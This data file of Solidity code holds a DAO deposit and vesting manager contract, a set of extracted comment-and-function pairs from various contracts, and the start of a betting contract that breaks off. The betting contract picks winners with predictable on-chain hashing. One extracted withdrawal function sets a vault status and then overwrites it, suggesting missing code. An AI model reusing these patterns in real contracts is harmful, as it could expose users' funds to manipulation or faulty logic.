// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IDealManager.sol"; import "./interfaces/IModuleBase.sol"; /** * @title PrimeDeals Dao Deposit Manager * @notice Smart contract to manage the deposits, withdraws and vestings of a DAO */ contract DaoDepositManager { /// DAO address to which this DaoDepositContract is linked address public dao; /// Address of the DealManager IDealManager public dealManager; /// token address => balance mapping(address => uint256) public tokenBalances; /// token address => deal module address => deal module id => balance mapping(address => mapping(address => mapping(uint32 => uint256))) public availableDealBalances; /// token address => balance mapping(address => uint256) public vestedBalances; /// deal module address => deal id => deposits array mapping(address => mapping(uint256 => Deposit[])) public deposits; /// Array of vestings where the index is the vesting ID Vesting[] public vestings; /// Array of all the token addresses that are vested address[] public vestedTokenAddresses; /// token address => amount mapping(address => uint256) public vestedTokenAmounts; /// deal module address => deal id => token counter mapping(address => mapping(uint256 => uint256)) public tokensPerDeal; struct Deposit { /// The depositor of the tokens address depositor; /// The address of the ERC20 token or ETH (ZERO address), that is deposited address token; /// Amount of the token being deposited uint256 amount; /// The amount already used for a Deal uint256 used; /// Unix timestamp of the deposit uint32 depositedAt; } struct Vesting { /// The address of the module to which this vesting is linked address dealModule; /// The ID for a specific deal, that is stored in the module uint32 dealId; /// The address of the ERC20 token or ETH (ZERO address) address token; /// The total amount being vested uint256 totalVested; /// The total amount of claimed vesting uint256 totalClaimed; /// The Unix timestamp when the vesting has been initiated uint32 startTime; /// The duration after which tokens can be claimed starting from the vesting start, /// in seconds uint32 cliff; /// The duration the tokens are vested, in seconds uint32 duration; } /** * @notice This event is emitted when a deposit is made * @param dealModule The module address of which the dealId is part off * @param dealId A specific deal, that is part of the dealModule, for which a deposit is made * @param depositor The address of the depositor * @param depositId The ID of the deposit action (position in array) * @param token The address of the ERC20 token or ETH (ZERO address)deposited * @param amount The amount that is deposited */ event Deposited( address indexed dealModule, uint32 indexed dealId, address indexed depositor, uint32 depositId, address token, uint256 amount ); /** * @notice This event is emitted when a withdraw is made * @param dealModule The module address of which the dealId is part off * @param dealId A specific deal, that is part of the dealModule, for which a withdraw is made * @param depositor The address of the depositor of the funds that are withdrawn * @param depositId The ID of the deposit action (position in array) * @param token The address of the ERC20 token or ETH (ZERO address) withdrawn * @param amount The amount that is withdrawn */ event Withdrawn( address indexed dealModule, uint32 indexed dealId, address indexed depositor, uint32 depositId, address token, uint256 amount ); /** * @notice This event is emitted when a vesting is started * @param dealModule The module address of which the dealId is part off * @param dealId A specific deal, that is part of the dealModule, for which a vesting is started * @param vestingStart The Unix timestamp of when the vesting has been initiated * @param vestingCliff The vesting cliff, after which tokens can be claimed * @param vestingDuration The duration the tokens are vested, in seconds * @param token The address of the ERC20 token or ETH (ZERO address) * @param amount The amount that is being vested */ event VestingStarted( address indexed dealModule, uint32 indexed dealId, uint256 indexed vestingStart, uint32 vestingCliff, uint32 vestingDuration, address token, uint256 amount ); /** * @notice This event is emitted when a vesting is claimed * @param dealModule The module address of which the dealId is part off * @param dealId A specific deal, that is part of the dealModule, for which a vesting is claimed * @param dao The address of the DAO, to which the claimed vesting is sent * @param token The address of the ERC20 token or ETH (ZERO address) * @param claimed The amount that is being claimed */ event VestingClaimed( address indexed dealModule, uint32 indexed dealId, address indexed dao, address token, uint256 claimed ); /** * @notice Initialize the DaoDepositManager * @param _dao The DAO address to which this contract belongs */ function initialize(address _dao) external { require(dao == address(0), "DaoDepositManager: Error 001"); require( _dao != address(0) && _dao != address(this), "DaoDepositManager: Error 100" ); dao = _dao; dealManager = IDealManager(msg.sender); } /** * @notice Sets a new address for the DealManager * @param _newDealManager The address of the new DealManager */ function setDealManager(address _newDealManager) external onlyDealManager { require( _newDealManager != address(0) && _newDealManager != address(this), "DaoDepositManager: Error 100" ); dealManager = IDealManager(_newDealManager); } /** * @notice Transfers the token amount to the DaoDepositManager and stores the parameters in a Deposit structure. * @dev Note: if ETH is deposited, the token address should be ZERO (0) * @param _module The address of the module for which is being deposited * @param _dealId The dealId to which this deposit is part of * @param _token The address of the ERC20 token or ETH (ZERO address) * @param _amount The amount that is deposited */ function deposit( address _module, uint32 _dealId, address _token, uint256 _amount ) public payable { require(_amount != 0, "DaoDepositManager: Error 101"); if (_token != address(0)) { _transferFrom(_token, msg.sender, address(this), _amount); } else { require(_amount == msg.value, "DaoDepositManager: Error 202"); } tokenBalances[_token] += _amount; availableDealBalances[_token][_module][_dealId] += _amount; verifyBalance(_token); deposits[_module][_dealId].push( // solhint-disable-next-line not-rely-on-time Deposit(msg.sender, _token, _amount, 0, uint32(block.timestamp)) ); emit Deposited( _module, _dealId, msg.sender, uint32(deposits[_module][_dealId].length - 1), _token, _amount ); } /** * @notice Transfers multiple tokens and amounts to the DaoDepositManager and stores the parameters for each deposit in a Deposit structure. * @dev Note: if ETH is deposited, the token address should be ZERO (0) Note: when calling this function, it is only possible to have 1 ETH deposit, meaning only 1 of the token addresses can be a ZERO address * @param _module The address of the module for which is being deposited * @param _dealId The dealId to which the deposits are part of * @param _tokens Array of addresses of the ERC20 tokens or ETH (ZERO address) * @param _amounts Array of amounts that are deposited */ function multipleDeposits( address _module, uint32 _dealId, address[] calldata _tokens, uint256[] calldata _amounts ) external payable { require( _tokens.length == _amounts.length, "DaoDepositManager: Error 102" ); uint256 tokenArrayLength = _tokens.length; for (uint256 i; i < tokenArrayLength; ++i) { deposit(_module, _dealId, _tokens[i], _amounts[i]); } } /** * @notice Sends the token and amount, stored in the Deposit associated with the depositId to the depositor * @param _module The address of the module to which the dealId is part of * @param _dealId The dealId to for which the deposit has been made, that is being withdrawn * @param _depositId The ID of the deposit action (position in array) * @return address The address of the depositor * @return address The address of the ERC20 token or ETH (ZERO address) * @return uint256 The available amount that is withdrawn */ function withdraw( address _module, uint32 _dealId, uint32 _depositId ) external returns ( address, address, uint256 ) { require( deposits[_module][_dealId].length > _depositId, "DaoDepositManager: Error 200" ); Deposit storage d = deposits[_module][_dealId][_depositId]; require(d.depositor == msg.sender, "DaoDepositManager: Error 222"); uint256 freeAmount = d.amount - d.used; // Deposit can't be used by a module or withdrawn already require(freeAmount != 0, "DaoDepositManager: Error 240"); d.used = d.amount; availableDealBalances[d.token][_module][_dealId] -= freeAmount; tokenBalances[d.token] -= freeAmount; _transfer(d.token, d.depositor, freeAmount); emit Withdrawn( _module, _dealId, d.depositor, _depositId, d.token, freeAmount ); return (d.depositor, d.token, freeAmount); } /** * @notice Sends the token and amount associated with the dealId into the Deal module * @param _token The address of the ERC20 token or ETH (ZERO address) * @param _amount The amount that is sent to the module */ function sendToModule( uint32 _dealId, address _token, uint256 _amount ) external onlyModule { uint256 amountLeft = _amount; uint256 depositArrayLength = deposits[msg.sender][_dealId].length; for (uint256 i; i < depositArrayLength; ++i) { Deposit storage d = deposits[msg.sender][_dealId][i]; if (d.token == _token) { uint256 freeAmount = d.amount - d.used; if (freeAmount > amountLeft) { freeAmount = amountLeft; } amountLeft -= freeAmount; d.used += freeAmount; if (amountLeft == 0) { _transfer(_token, msg.sender, _amount); tokenBalances[_token] -= _amount; availableDealBalances[_token][msg.sender][ _dealId ] -= _amount; // break out of the loop, since we sent the tokens // we now jump to the require statement at the end break; } } } require(amountLeft == 0, "DaoDepositManager: Error 262"); } /** * @notice Starts the vesting periode for a given token plus amount, associated to a dealId * @param _token The address of the ERC20 token or ETH (ZERO address) * @param _amount The total amount being vested * @param _vestingCliff The duration after which tokens can be claimed starting from the vesting start, in seconds * @param _vestingDuration The duration the tokens are vested, in seconds */ function startVesting( uint32 _dealId, address _token, uint256 _amount, uint32 _vestingCliff, uint32 _vestingDuration ) external payable onlyModule { require(_amount != 0, "DaoDepositManager: Error 101"); require( _vestingCliff <= _vestingDuration, "DaoDepositManager: Error 201" ); if (_token != address(0)) { _transferFrom(_token, msg.sender, address(this), _amount); } else { require(_amount == msg.value, "DaoDepositManager: Error 202"); } vestedBalances[_token] += _amount; verifyBalance(_token); vestings.push( Vesting( msg.sender, _dealId, _token, _amount, 0, // solhint-disable-next-line not-rely-on-time uint32(block.timestamp), _vestingCliff, _vestingDuration ) ); if (vestedTokenAmounts[_token] == 0) { vestedTokenAddresses.push(_token); } vestedTokenAmounts[_token] += _amount; // Outside of the if-clause above to catch the // unlikely edge-case of multiple vestings of the // same token for one deal. This is necessary // for deal-based vesting claims to work. ++tokensPerDeal[msg.sender][_dealId]; emit VestingStarted( msg.sender, _dealId, // solhint-disable-next-line not-rely-on-time uint32(block.timestamp), _vestingCliff, _vestingDuration, _token, _amount ); } /** * @notice Claims all the possible ERC20 tokens and ETH, across all deals that are part of this DaoDepositManager * @dev This function can be called to retrieve the claimable amounts, to show in the frontend for example * @return tokens Array of addresses of the claimed tokens * @return amounts Array of amounts claimed, in the same order as the tokens array */ function claimVestings() external returns (address[] memory tokens, uint256[] memory amounts) { uint256 vestingCount = vestedTokenAddresses.length; tokens = new address[](vestingCount); amounts = new uint256[](vestingCount); // Copy storage array to memory, since the "original" // array might change during sendReleasableClaim() if // the amount of a token reaches zero for (uint256 i; i < vestingCount; ++i) { tokens[i] = vestedTokenAddresses[i]; } uint256 vestingArrayLength = vestings.length; for (uint256 i; i < vestingArrayLength; ++i) { (address token, uint256 amount) = sendReleasableClaim(vestings[i]); for (uint256 j; j < vestingCount; ++j) { if (token == tokens[j]) { amounts[j] += amount; } } } return (tokens, amounts); } /** * @notice Claims all the possible ERC20 tokens and ETH, associated with a single dealId * @dev This function can be called to retrieve the claimable amount, to show in the frontend for example * @param _module The module address of which the dealId is part off * @param _dealId A specific deal, that is part of the dealModule * @return tokens Array of addresses of the claimed tokens, in the same order as the amounts array * @return amounts Array of amounts claimed, in the same order as the tokens array */ function claimDealVestings(address _module, uint32 _dealId) external returns (address[] memory tokens, uint256[] memory amounts) { uint256 amountOfTokens = tokensPerDeal[_module][_dealId]; tokens = new address[](amountOfTokens); amounts = new uint256[](amountOfTokens); uint256 counter; if (amountOfTokens != 0) { for (uint256 i; i < vestings.length; ++i) { Vesting storage v = vestings[i]; if (v.dealModule == _module && v.dealId == _dealId) { (tokens[counter], amounts[counter]) = sendReleasableClaim( v ); ++counter; } } } return (tokens, amounts); } /** * @notice Sends the claimable amount of the token, associated with the Vesting to the DAO address stored in the state. * @param vesting Struct containing all the information related to vesting * @return token Addresses of the claimed token * @return amount Amount of the claimable token */ function sendReleasableClaim(Vesting storage vesting) private returns (address token, uint256 amount) { if (vesting.totalClaimed < vesting.totalVested) { // Check cliff was reached // solhint-disable-next-line not-rely-on-time uint32 elapsedSeconds = uint32(block.timestamp) - vesting.startTime; if (elapsedSeconds < vesting.cliff) { return (vesting.token, 0); } if (elapsedSeconds >= vesting.duration) { amount = vesting.totalVested - vesting.totalClaimed; vesting.totalClaimed = vesting.totalVested; tokensPerDeal[vesting.dealModule][vesting.dealId]--; } else { amount = (vesting.totalVested * uint256(elapsedSeconds)) / uint256(vesting.duration); amount -= vesting.totalClaimed; vesting.totalClaimed += amount; } token = vesting.token; vestedTokenAmounts[token] -= amount; // if the corresponding token doesn't have any // vested amounts in any vesting anymore, // we remove it from the array if (vestedTokenAmounts[token] == 0) { uint256 arrLen = vestedTokenAddresses.length; for (uint256 i; i < arrLen; ++i) { if (vestedTokenAddresses[i] == token) { // if it's not the last element // move the last to the current slot if (i != arrLen - 1) { vestedTokenAddresses[i] = vestedTokenAddresses[ arrLen - 1 ]; } // remove the last entry vestedTokenAddresses.pop(); --arrLen; } } } require( vesting.totalClaimed <= vesting.totalVested, "DaoDepositManager: Error 244" ); vestedBalances[token] -= amount; _transfer(token, dao, amount); emit VestingClaimed( vesting.dealModule, vesting.dealId, dao, token, amount ); } } /** * @notice Verifies if the DaoDepositContract holds the balance as expected * @param _token Address of the ERC20 token or ETH (ZERO address) */ function verifyBalance(address _token) public view { require( getBalance(_token) >= tokenBalances[_token] + vestedBalances[_token], "DaoDepositManager: Error 245" ); } /** * @notice Returns all the members in the Deposit struct for a given depositId * @dev If ETH has been deposited, the token address returned will show ZERO (0) * @param _module The address of the module of which the dealId is part of * @param _dealId The dealId to for which the deposit has been made * @param _depositId The ID of the deposit action (position in array) * @return address The depositor address * @return address The address of the ERC20 token or ETH (ZERO address) * @return uint256 The amount that has been deposited * @return uint256 The amount already used in a deal * @return uint32 The Unix timestamp of the deposit */ function getDeposit( address _module, uint32 _dealId, uint32 _depositId ) public view returns ( address, address, uint256, uint256, uint32 ) { Deposit memory d = deposits[_module][_dealId][_depositId]; return (d.depositor, d.token, d.amount, d.used, d.depositedAt); } /** * @notice Returns all the members from all the Deposits within a given range of depositIds * @dev If ETH has been deposited, the token address returned will show ZERO (0) * @param _module The address of the module of which the dealId is part of * @param _dealId The dealId to for which the deposits have been made * @param _fromDepositId First depositId (element in array) of the range IDs * @param _toDepositId Last depositId (element in array) of the range of IDs * @return depositors Array of addresses of the depositors in the deposit range * @return tokens Array of token addresses or ETH (ZERO address) in the deposit range * @return amounts Array of amounts, sorted similar as tokens array, for the given deposit range * @return usedAmounts Array of amounts already used in a deal, for the given deposit range * @return times Array of Unix timestamps of the deposits, for the given deposit range */ function getDepositRange( address _module, uint32 _dealId, uint32 _fromDepositId, uint32 _toDepositId ) external view returns ( address[] memory depositors, address[] memory tokens, uint256[] memory amounts, uint256[] memory usedAmounts, uint256[] memory times ) { uint32 range = 1 + _toDepositId - _fromDepositId; // inclusive range depositors = new address[](range); tokens = new address[](range); amounts = new uint256[](range); usedAmounts = new uint256[](range); times = new uint256[](range); uint256 index; // needed since the ids can start at > 0 for (uint32 i = _fromDepositId; i <= _toDepositId; ++i) { ( depositors[index], tokens[index], amounts[index], usedAmounts[index], times[index] ) = getDeposit(_module, _dealId, i); ++index; } return (depositors, tokens, amounts, usedAmounts, times); } /** * @notice Returns the stored amount of an ERC20 token or ETH, for a given deal * @param _module The address of the module to which the dealId is part of * @param _dealId The dealId that relates to the ERC20 token or ETH balance * @param _token The address of the ERC20 token or ETH (ZERO address) * @return uint256 The balance amount of the ERC20 token or ETH, specific to the dealId */ function getAvailableDealBalance( address _module, uint32 _dealId, address _token ) external view returns (uint256) { return availableDealBalances[_token][_module][_dealId]; } /** * @notice Returns the total number of deposits made, for a given dealId * @param _module The address of the module to which the dealId is part of * @param _dealId The dealId for which deposits have been made * @return uint32 The total amount of deposits made, for a given dealId */ function getTotalDepositCount(address _module, uint32 _dealId) external view returns (uint32) { return uint32(deposits[_module][_dealId].length); } /** * @notice Returns the withdrawable amount of a specifc token and dealId, for a given address * @dev If ETH has been deposited, the token address used should be ZERO (0) * @param _module The address of the module of which the dealId is part of * @param _dealId The dealId for which a deposit has been made, to check for withdrawable amounts * @param _depositor The address of the depositor that is able to withdraw, deposited amounts * @param _token The address of the ERC20 token or ETH (ZERO address) * @return uint256 The available amount that can be withdrawn by the depositor */ function getWithdrawableAmountOfDepositor( address _module, uint32 _dealId, address _depositor, address _token ) external view returns (uint256) { uint256 freeAmount; for (uint256 i; i < deposits[_module][_dealId].length; ++i) { if ( deposits[_module][_dealId][i].depositor == _depositor && deposits[_module][_dealId][i].token == _token ) { freeAmount += (deposits[_module][_dealId][i].amount - deposits[_module][_dealId][i].used); } } return freeAmount; } /** * @notice Returns the balance the DaoDepositContract holds, for a given ERC20 token or ETH (ZERO address) * @param _token The address of the ERC20 token or ETH (ZERO address) * @return uint256 The balance the contracts holds for the _token parameter */ function getBalance(address _token) public view returns (uint256) { if (_token == address(0)) { return address(this).balance; } return IERC20(_token).balanceOf(address(this)); } /** * @notice Transfers the ERC20 token or ETH (ZERO address), to the _to address * @param _token The address of the ERC20 token or ETH (ZERO address) * @param _to Receiver address of the _amount of _token * @param _amount The amount to be transferred to the _to address */ function _transfer( address _token, address _to, uint256 _amount ) internal { if (_token != address(0)) { try IERC20(_token).transfer(_to, _amount) returns (bool success) { require(success, "DaoDepositManager: Error 241"); } catch { revert("DaoDepositManager: Error 241"); } } else { // solhint-disable-next-line avoid-low-level-calls (bool sent, ) = _to.call{value: _amount}(""); require(sent, "DaoDepositManager: Error 242"); } } /** * @notice Transfers the ERC20 token or ETH (ZERO address), from the _from address to the _to address * @param _token The address of the ERC20 token or ETH (ZERO address) * @param _from The address on behalve of which the contract transfers the _token * @param _to Receiver address of the _amount of _token * @param _amount The amount to be transferred to the _to address */ function _transferFrom( address _token, address _from, address _to, uint256 _amount ) internal { try IERC20(_token).transferFrom(_from, _to, _amount) returns ( bool success ) { require(success, "DaoDepositManager: Error 241"); } catch { revert("DaoDepositManager: Error 241"); } } /** * @notice Modifier that validates that the msg.sender is the DealManager contract */ modifier onlyDealManager() { require( msg.sender == address(dealManager), "DaoDepositManager: Error 221" ); _; } /** * @notice Modifier that validates that the msg.sender is a Deals module */ modifier onlyModule() { require( dealManager.isModule(msg.sender), "DaoDepositManager: Error 220" ); _; } fallback() external payable {} // solhint-disable-next-line no-empty-blocks receive() external payable {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.9; interface IDealManager { function createDaoDepositManager(address _dao) external; function hasDaoDepositManager(address _dao) external view returns (bool); function getDaoDepositManager(address _dao) external view returns (address); function owner() external view returns (address); function weth() external view returns (address); function isModule(address who) external view returns (bool); } // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.9; interface IModuleBase { function moduleIdentifier() external view returns (bytes32); function dealManager() external view returns (address); function hasDealExpired(uint32 _dealId) external view returns (bool); }
Verifies if the DaoDepositContract holds the balance as expected _token Address of the ERC20 token or ETH (ZERO address)/
function verifyBalance(address _token) public view { require( getBalance(_token) >= tokenBalances[_token] + vestedBalances[_token], "DaoDepositManager: Error 245" ); }
418,337
./full_match/137/0x38dbcF56996132e72ACfC79a0D32B37a099Ec1ad/sources/ERC721-Trace.sol
Owner to be skipped.
function setMinters(address[] calldata _addresses_allowed) external onlyAdmin { delete minters; for (uint i=0; i<_addresses_allowed.length; i++) { if(isAdmin(_addresses_allowed[i]) == true) { continue; } minters.push(_addresses_allowed[i]); } emit MintersUpdated(minters); }
4,727,198
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "hardhat/console.sol"; contract WavePortal { uint256 publicWaveCount; uint256 trueWaveCount; mapping(address => uint256) public wavesOf; constructor() { console.log("I'm a contract and I have big brain"); } function wave() public { incrementWaves(); // notice that wavesOf[anything] is 0 by default wavesOf[msg.sender] += 1; console.log("%s has waved!", msg.sender); } function unWave() public { decrementWaves(); wavesOf[msg.sender] -= 1; console.log("%s has unwaved!", msg.sender); } function getTotalWaveCount() public view returns (uint256) { console.log("We have %d waves in total!", publicWaveCount); return publicWaveCount; } function incrementWaves() private { trueWaveCount++; publicWaveCount++; } function decrementWaves() private { trueWaveCount--; if (publicWaveCount > 0) publicWaveCount--; } }
notice that wavesOf[anything] is 0 by default
function wave() public { incrementWaves(); wavesOf[msg.sender] += 1; console.log("%s has waved!", msg.sender); }
7,242,967
./partial_match/1/0x3849573975D4942C5FAd33E44b6a4Eae2b287DAa/sources/contracts/FCNProduct.sol
Processes all the queued withdrawals in the withdrawal queue vaultAddress is the address of the vault maxProcessCount is the maximum number of withdrawals to process in the queue/ Needs zombie state so that we can restore the vault
function processWithdrawalQueue( address vaultAddress, uint256 maxProcessCount ) public nonReentrant onlyTraderAdmin onlyValidVault(vaultAddress) { FCNVaultMetadata storage vaultMetadata = vaults[vaultAddress]; require( vaultMetadata.vaultStatus == VaultStatus.FeesCollected || vaultMetadata.vaultStatus == VaultStatus.Zombie, "500:WS" ); Withdrawal[] storage withdrawalQueue = withdrawalQueues[vaultAddress]; FCNVault vault = FCNVault(vaultAddress); uint256 processCount = Math.min(vaultMetadata.queuedWithdrawalsCount, maxProcessCount); uint256 amountAssets; Withdrawal memory withdrawal; while (processCount > 0) { withdrawal = withdrawalQueue[vaultMetadata.queuedWithdrawalsCount - 1]; amountAssets = vault.redeem(withdrawal.amountShares); vaultMetadata.underlyingAmount -= amountAssets; sumVaultUnderlyingAmounts -= amountAssets; vaultMetadata.queuedWithdrawalsSharesAmount -= withdrawal.amountShares; IERC20(asset).safeTransfer(withdrawal.receiver, amountAssets); vaultMetadata.currentAssetAmount -= amountAssets; withdrawalQueue.pop(); vaultMetadata.queuedWithdrawalsCount -= 1; processCount -= 1; emit WithdrawalProcessed(vaultAddress, withdrawal.receiver, withdrawal.amountShares, amountAssets); } if (vaultMetadata.queuedWithdrawalsCount == 0) { if (vaultMetadata.underlyingAmount == 0 && vault.totalSupply() > 0) { vaultMetadata.vaultStatus = VaultStatus.Zombie; emit VaultStatusUpdated(vaultAddress, VaultStatus.Zombie); vaultMetadata.vaultStatus = VaultStatus.WithdrawalQueueProcessed; emit VaultStatusUpdated(vaultAddress, VaultStatus.WithdrawalQueueProcessed); } } }
9,306,209
./partial_match/56/0xd4c89791eF0FAdE72eAAc6475296320b5572b28e/sources/StrategyRamenLP.sol
Unpauses the strat./
function unpause() external onlyOwner { _unpause(); IERC20(lpPair).safeApprove(masterchef, uint(-1)); IERC20(output).safeApprove(unirouter, uint(-1)); IERC20(wbnb).safeApprove(unirouter, uint(-1)); IERC20(lpToken0).safeApprove(unirouter, 0); IERC20(lpToken0).safeApprove(unirouter, uint(-1)); IERC20(lpToken1).safeApprove(unirouter, 0); IERC20(lpToken1).safeApprove(unirouter, uint(-1)); }
11,124,319
./full_match/9001/0x985711e9540d40ea02532E710301874384e1b5D8/sources/contracts/XStarToken.sol
Finalizes redeem process when vesting duration has been reached Can only be called by the redeem entry owner/ remove from SBT total remove redeem entry
function finalizeRedeem(uint256 redeemIndex) external validateRedeem(msg.sender, redeemIndex) { RedeemInfo storage _redeem = userRedeems[msg.sender][redeemIndex]; _unbondingBalances[msg.sender] -= _redeem.xStarAmount; require(_currentBlockTimestamp() >= _redeem.endTime, "finalizeRedeem: vesting duration has not ended yet"); _finalizeRedeem(msg.sender, _redeem.xStarAmount, _redeem.StarAmount); _deleteRedeemEntry(redeemIndex); }
11,534,997
pragma solidity ^0.4.21; /// @title A base contract to control ownership /// @author cuilichen contract OwnerBase { // The addresses of the accounts that can execute actions within each roles. address public ceoAddress; address public cfoAddress; address public cooAddress; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// constructor function OwnerBase() public { ceoAddress = msg.sender; cfoAddress = msg.sender; cooAddress = msg.sender; } /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CFO-only functionality modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCFO The address of the new COO function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyCOO whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when CFO or COO accounts are /// compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() public onlyCOO whenPaused { // can't unpause if contract was upgraded paused = false; } /// @dev check wether target address is a contract or not function isNormalUser(address addr) internal view returns (bool) { if (addr == address(0)) { return false; } uint size = 0; assembly { size := extcodesize(addr) } return size == 0; } } /// @title Base contract for Chaotic. Holds all common structs, events and base variables. /// @author cuilichen contract BaseFight is OwnerBase { event FighterReady(uint32 season); // data of fighter struct Fighter { uint tokenID; address hometown; address owner; uint16 power; } mapping (uint => Fighter) public soldiers; // key is (season * 1000 + index) // time for matches mapping (uint32 => uint64 ) public matchTime;// key is season mapping (uint32 => uint64 ) public seedFromCOO; // key is season mapping (uint32 => uint8 ) public finished; // key is season // uint32[] seasonIDs; /// @dev get base infomation of the seasons function getSeasonInfo(uint32[99] _seasons) view public returns (uint length,uint[99] matchTimes, uint[99] results) { for (uint i = 0; i < _seasons.length; i++) { uint32 _season = _seasons[i]; if(_season >0){ matchTimes[i] = matchTime[_season]; results[i] = finished[_season]; }else{ length = i; break; } } } /// @dev check seed form coo function checkCooSeed(uint32 _season) public view returns (uint64) { require(finished[_season] > 0); return seedFromCOO[_season]; } /// @dev set a fighter for a season, prepare for combat. function createSeason(uint32 _season, uint64 fightTime, uint64 _seedFromCOO, address[8] _home, uint[8] _tokenID, uint16[8] _power, address[8] _owner) external onlyCOO { require(matchTime[_season] <= 0); require(fightTime > 0); require(_seedFromCOO > 0); seasonIDs.push(_season);// a new season matchTime[_season] = fightTime; seedFromCOO[_season] = _seedFromCOO; for (uint i = 0; i < 8; i++) { Fighter memory soldier = Fighter({ hometown:_home[i], owner:_owner[i], tokenID:_tokenID[i], power: _power[i] }); uint key = _season * 1000 + i; soldiers[key] = soldier; } //fire the event emit FighterReady(_season); } /// @dev process a fight function _localFight(uint32 _season, uint32 _seed) internal returns (uint8 winner) { require(finished[_season] == 0);//make sure a season just match once. uint[] memory powers = new uint[](8); uint sumPower = 0; uint8 i = 0; uint key = 0; Fighter storage soldier = soldiers[0]; for (i = 0; i < 8; i++) { key = _season * 1000 + i; soldier = soldiers[key]; powers[i] = soldier.power; sumPower = sumPower + soldier.power; } uint sumValue = 0; uint tmpPower = 0; for (i = 0; i < 8; i++) { tmpPower = powers[i] ** 5;// sumValue += tmpPower; powers[i] = sumValue; } uint singleDeno = sumPower ** 5; uint randomVal = _getRandom(_seed); winner = 0; uint shoot = sumValue * randomVal * 10000000000 / singleDeno / 0xffffffff; for (i = 0; i < 8; i++) { tmpPower = powers[i]; if (shoot <= tmpPower * 10000000000 / singleDeno) { winner = i; break; } } finished[_season] = uint8(100 + winner); return winner; } /// @dev give a seed and get a random value between 0 and 0xffffffff. /// @param _seed an uint32 value from users function _getRandom(uint32 _seed) pure internal returns(uint32) { return uint32(keccak256(_seed)); } } /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal pure returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * * @title Interface of contract for partner * @author cuilichen */ contract PartnerHolder { // function isHolder() public pure returns (bool); // Required methods function bonusAll() payable public ; function bonusOne(uint id) payable public ; } contract BetOnMatch is BaseFight, SafeMath { event Betted( uint32 indexed season, uint32 indexed index, address indexed account, uint amount); event SeasonNone( uint32 season); event SeasonWinner( uint32 indexed season, uint winnerID); event LogFighter( uint32 indexed season, address indexed fighterOwner, uint fighterKey, uint fund, address fighterContract, uint fighterTokenID, uint power, uint8 isWin,uint reward, uint64 fightTime); event LogMatch( uint32 indexed season, uint sumFund, uint64 fightTime, uint sumSeed, uint fighterKey, address fighterContract, uint fighterTokenID ,bool isRefound); event LogBet( uint32 indexed season, address indexed sender, uint fund, uint seed, uint fighterKey, address fighterContract, uint fighterTokenID ); struct Betting { // user address account; uint32 season; uint32 index; address invitor; uint seed; // uint amount; } // contract of 